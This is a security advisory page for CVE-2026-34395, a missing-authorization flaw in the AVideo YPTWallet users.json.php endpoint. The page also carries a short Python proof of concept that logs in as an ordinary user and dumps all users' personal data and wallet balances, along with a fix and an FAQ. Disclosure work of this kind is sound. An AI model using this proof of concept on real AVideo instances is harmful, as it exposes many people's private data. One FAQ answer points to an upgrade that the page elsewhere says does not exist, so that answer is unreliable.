CVE-2026-34395: AVideo: Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.php

Published Mar 31, 2026
·
Updated

Severity: High CWE: CWE-862 (Missing Authorization)

Summary

The plugin/YPTWallet/view/users.json.php endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks User::isLogged() but does not check User::isAdmin(), so any registered user can dump the full user database.

Details

The authorization check at plugin/YPTWallet/view/users.json.php:8:

php if (!User::isLogged()) { die("Is not logged"); }

The query in YPTWallet::getAllUsers() selects all columns from both tables:

php $sql = "SELECT w., u., u.id as userid, IFNULL(balance, 0) as balance FROM users u " . " LEFT JOIN wallet w ON u.id = w.usersid WHERE 1=1 ";

The cleanUpRowFromDatabase() function strips fields matching /pass/i (removes password and recoverPass), but all other PII fields remain: email, phone, address, zipcode, country, region, city, firstname, lastname, birthdate, isAdmin, analyticsCode, donationLink, and balance.

Other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php) all check User::isAdmin().

Proof of Concept

python import requests

TARGET = "https://your-avideo-instance.com"

Step 1: Login as any regular (non-admin) user session = requests.Session() session.post(f"{TARGET}/objects/login.json.php", data={ "user": "regularuser", "pass": "regularpassword" })

Step 2: Request the users endpoint resp = session.post(f"{TARGET}/plugin/YPTWallet/view/users.json.php", data={ "current": "1", "rowCount": "10" })

data = resp.json() print(f"Total users: {data['total']}") for u in data["rows"]: print(f" User: {u['user']}, Email: {u['email']}, Admin: {u['isAdmin']}, Balance: {u['balance']}")

The response contains every user on the platform, including admin accounts, with fields: email, phone, address, zipcode, country, region, city, firstname, lastname, birthdate, isAdmin, balance, analyticsCode, donationLink.

Impact

Any registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.

Recommended Fix

Change User::isLogged() to User::isAdmin() at plugin/YPTWallet/view/users.json.php:8:

php // plugin/YPTWallet/view/users.json.php:8 // Before: if (!User::isLogged()) { die("Is not logged"); }

// After: if (!User::isAdmin()) { die("Is not logged"); }

This matches the authorization pattern already used by the other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php).

---

Found by aisafe.io

Other sources

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the plugin/YPTWallet/view/users.json.php endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks User::isLogged() but does not check User::isAdmin(), so any registered user can dump the full user database. At time of publication, there are no publicly available patches.

MITRE

Affected Software

3 affected components
WWBN AVideo<=26.0
composer/wwbn/avideo<=26.0
WWBN AVideo<=26.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Configuration

    In plugin/YPTWallet/view/users.json.php at line 8, change the authorization logic from User::isLogged() to User::isAdmin() (as recommended: “Change User::isLogged() to User::isAdmin() at plugin/YPTWallet/view/users.json.php:8”). This prevents any authenticated (non-admin) user from extracting all platform users’ PII and wallet balances via the users.json.php endpoint.

    AVideo plugin YPTWallet (plugin/YPTWallet/view/users.json.php) authorization check User::isLogged() -> User::isAdmin() = replace call so only admins are allowed

Event History

Mar 31, 2026
CVE Published
via MITRE·08:38 PM
Data Sourced
via MITRE·08:38 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·11:21 PM
Data Sourced
via GitHub·11:21 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-34395?

CVE-2026-34395 has a high severity rating due to the potential exposure of personal information and wallet balances of all users.

2

How do I fix CVE-2026-34395?

To fix CVE-2026-34395, upgrade to a version of AVideo that is later than 26.0 to ensure proper authorization checks are implemented.

3

What type of data is exposed in CVE-2026-34395?

CVE-2026-34395 exposes personal user information and wallet balances due to a missing authorization check.

4

Which versions of AVideo are affected by CVE-2026-34395?

CVE-2026-34395 affects all versions of AVideo up to and including version 26.0.

5

What is the impact of CVE-2026-34395 on users?

The impact of CVE-2026-34395 is that it allows unauthorized access to sensitive personal information of all platform users.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203